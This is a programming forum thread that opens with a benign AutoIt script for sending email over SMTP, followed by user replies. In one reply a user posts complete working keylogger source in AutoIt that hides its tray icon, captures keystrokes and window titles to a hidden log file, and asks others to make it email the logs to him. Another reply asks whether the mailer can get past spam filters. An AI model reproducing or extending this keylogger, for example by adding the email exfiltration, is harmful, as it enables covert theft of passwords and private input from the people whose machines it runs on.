Go4Expert

Go4Expert (http://www.go4expert.com/)
-   Programming (http://www.go4expert.com/forumdisplay.php?f=16)
-   -   Send Email with Autoit Script (http://www.go4expert.com/showthread.php?t=23226)

Cleptography 7Sep2010 02:31
Send Email with Autoit Script
 
This is an AU3 script for sending email.

Code:
;
;##################################
; Include
;##################################
#Include<file.au3>
;##################################
; Variables
;##################################
$SmtpServer = ""                            ; address for the smtp-server to use - REQUIRED
$FromName = "Test"                          ; name from who the email was sent
$FromAddress = ""                          ; address from where the mail should come
$ToAddress = ""                            ; destination address of the email - REQUIRED
$Subject = "Userinfo"                      ; subject from the email - can be anything you want it to be
$Body = "This Is The Body"                  ; the messagebody from the mail - can be left blank but then you get a blank mail
$AttachFiles = ""                          ; the file you want to attach- leave blank if not needed
$CcAddress = ""                            ; address for cc - leave blank if not needed
$BccAddress = ""                            ; address for bcc - leave blank if not needed
$Importance = "Normal"                      ; Send message priority: "High", "Normal", "Low"
$Username = ""                              ; username for the account used from where the mail gets sent - REQUIRED
$Password = ""                              ; password for the account used from where the mail gets sent - REQUIRED
$IPPort = 465                              ; port used for sending the mail
$ssl = 0                                    ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                              ; GMAIL port used for sending the mail
;~ $ssl=1                                  ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
EndIf
;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment ($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail=""
EndFunc  ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "  ScriptLine: " & $oMyError.scriptline & "  Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc  ;==>MyErrFunc

allie 24May2011 00:11
Re: Send Email with Autoit Script
 
Hello, this is a very nice autoit script. It works great but I would like to use a configuration file instead of coding all the options in the main program. When I keep all the settings in a text file and use FileOpen to read the file to read in the configuration, the program gives me the error The Transport failed to connect to the server. How can I make this to work with a configuration file? Thank you.

allie 24May2011 02:48
Re: Send Email with Autoit Script
 
Nevermind, I figured out the problem. Issue was with smtp port. It has to be a number instead of a variable. If using a variable, convert the data type to a number using the Number function

ARogers 9Feb2012 20:33
Re: Send Email with Autoit Script
 
How can I check a particular folder before sending an email? for instance if the folder is empty then no email is sent out but if the folder has files then an email is sent. Can I include a time interval to check the folder let's say every hour?


Thanks
Rogers

Scripting 9Feb2012 20:58
Re: Send Email with Autoit Script
 
It looks cool, but will this fool the antispam routines?

ARogers 9Feb2012 21:15
Re: Send Email with Autoit Script
 
Thanks for your response.

What I am trying to accomplish really, is to notify users that they need to check a particular folder once there are files in that folder. Unless the folder is empty an email will be sent to the users. This just acts as an alert to the user that they need to check this particular folder to remove these files.
I Implemented the code by Cleptography and it works fine in terms of sending out mails. However I only want to send an email once the the folder has files in it. I thought about the FileExists ( "path" ) but I am not sure how to implement it in the script from Cleptography.

fabian1121 21Mar2012 00:53
Re: Send Email with Autoit Script
 
i have a request, sorry for refreshing if too old but, could you guys make this keylogger send the keyLOG to my email instead of saving them on the disc ?
Code:
#NoTrayIcon ; dont show tray icon
$hDll=DllOpen("user32.dll")
$window2=""
$date=@year&@mon&@mday
$log="C:\keylog"
DirCreate ($log)
$file = FileOpen($log&"\logfiles"&$date&".htm", 1) ; C:\keylog\logfiles\$date.htm ; 1 = Write mode (append to end of file)
If $file = -1 Then ; exit if unable to Open logfile.
  Exit
EndIf
filewrite($file,"<font face=Verdana size=1>")
; ## Opt("TrayIconHide", 1) #hides the tray icon, although its visible for a second.
Func terminate()
        DllClose($hDll)
        Exit 0
EndFunc
Func _LogKeyPress($what2log)
$window=WinGetTitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    Sleep(100)
Else
$window2=$window
 FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
sleep (100)
Endif
EndFunc
Func _IsPressed($hexKey)
 Local $aR, $bRv
 $hexKey = '0x' & $hexKey
 $aR = DllCall('user32.dll', "int", "GetAsyncKeyState", "int", $hexKey) ; The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.

 If $aR[0] <> 0 Then ;Tests if two values are not equal. Case insensitive when used with strings. To do a case sensitive not equal comparison use Not ("string1" == "string2")
    $bRv = 1
 Else
    $bRv = 0
 EndIf

 Return $bRv
EndFunc
While 1
;---------------------------------------------end program header, begin program----------------------------
If _IsPressed('6A') Then
        local $a
        $a=terminate()
EndIf
 If _IsPressed(41) Then ;if return 1
    _LogKeyPress("a")
EndIf


 If _IsPressed(42) Then
    _LogKeyPress("b")
EndIf


 If _IsPressed(43) Then
    _LogKeyPress("c")
EndIf


 If _IsPressed(44) Then
    _LogKeyPress("d")
EndIf


 If _IsPressed(45) Then
    _LogKeyPress("e")
EndIf


 If _IsPressed(46) Then
    _LogKeyPress("f")
EndIf


 If _IsPressed(47) Then
    _LogKeyPress("g")
EndIf


 If _IsPressed(48) Then
    _LogKeyPress("h")
EndIf


 If _IsPressed(49) Then
    _LogKeyPress("i")
EndIf


 If _IsPressed('4a') Then
    _LogKeyPress("j")
EndIf


 If _IsPressed('4b') Then
    _LogKeyPress("k")
EndIf


 If _IsPressed('4c') Then
    _LogKeyPress("l")
EndIf


 If _IsPressed('4d') Then
    _LogKeyPress("m")
EndIf


 If _IsPressed('4e') = 1 Then
    _LogKeyPress("n")
EndIf


 If _IsPressed('4f') Then
    _LogKeyPress("o")
EndIf


 If _IsPressed(50) Then
    _LogKeyPress("p")
EndIf


 If _IsPressed(51) Then
    _LogKeyPress("q")
EndIf


 If _IsPressed(52) Then
    _LogKeyPress("r")
EndIf


 If _IsPressed(53) Then
    _LogKeyPress("s")
EndIf


 If _IsPressed(54) Then
    _LogKeyPress("t")
EndIf


 If _IsPressed(55) Then
    _LogKeyPress("u")
EndIf


 If _IsPressed(56) Then
    _LogKeyPress("v")
EndIf


 If _IsPressed(57) Then
    _LogKeyPress("w")
EndIf


 If _IsPressed(58) Then
    _LogKeyPress("x")
EndIf


 If _IsPressed(59) Then
    _LogKeyPress("y")
EndIf

  If _IsPressed('5a') Then
    _LogKeyPress("z")
EndIf


If _IsPressed('01') Then
    _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT MOUSE}</i></font>")
EndIf

 If _IsPressed('02') Then
    _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT MOUSE}</i></font>")
 EndIf


  If _IsPressed('08') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BACKSPACE}</i></font>")
 EndIf


  If _IsPressed('09') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
 EndIf


  If _IsPressed('0d') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ENTER}</i></font>")
 EndIf


  If _IsPressed('10') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
 EndIf


    If _IsPressed('11') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
 EndIf


    If _IsPressed('12') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
EndIf


  If _IsPressed('13') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
 EndIf


  If _IsPressed('14') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
EndIf


  If _IsPressed('1b') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
EndIf


  If _IsPressed('20') Then
    _LogKeyPress(" ")
 EndIf


    If _IsPressed('21') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
 EndIf


    If _IsPressed('22') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGDOWN}</i></font>")
 EndIf


    If _IsPressed('23') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
 EndIf


    If _IsPressed('24') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
 EndIf


    If _IsPressed('25') Then
    _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
 EndIf


    If _IsPressed('26') Then
    _LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
 EndIf


    If _IsPressed('27') Then
    _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
 EndIf


    If _IsPressed('28') Then
    _LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
 EndIf


    If _IsPressed('2c') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRNTSCRN}</i></font>")
 EndIf


    If _IsPressed('2d') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
 EndIf


    If _IsPressed('2e') Then
    _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
EndIf

  If _IsPressed('30') Then
    _LogKeyPress("0")
 EndIf


    If _IsPressed('31') Then
    _LogKeyPress("1")
 EndIf


    If _IsPressed('32') Then
    _LogKeyPress("2")
 EndIf


    If _IsPressed('33') Then
    _LogKeyPress("3")
 EndIf


    If _IsPressed('34') Then
    _LogKeyPress("4")
 EndIf


    If _IsPressed('35') Then
    _LogKeyPress("5")
 EndIf


    If _IsPressed('36') Then
    _LogKeyPress("6")
 EndIf


    If _IsPressed('37') Then
    _LogKeyPress("7")
 EndIf


    If _IsPressed('38') Then
    _LogKeyPress("8")
EndIf


  If _IsPressed('39') Then
    _LogKeyPress("9")
EndIf

WEnd
Sincerly
fabian

vnexpress 11Jun2012 19:58
Re: Send Email with Autoit Script
 
hic hic i cant run on my PC, anti virus del it

rsfneo 27Jun2012 16:58
Re: Send Email with Autoit Script
 
Hi do you any script like this but send mail for each file declared in a list.txt for exmP

rsfneo 28Jun2012 18:29
Re: Send Email with Autoit Script
 
Never mind i allready create the script based on this one and it works.


All times are GMT +5.5. The time now is 10:50.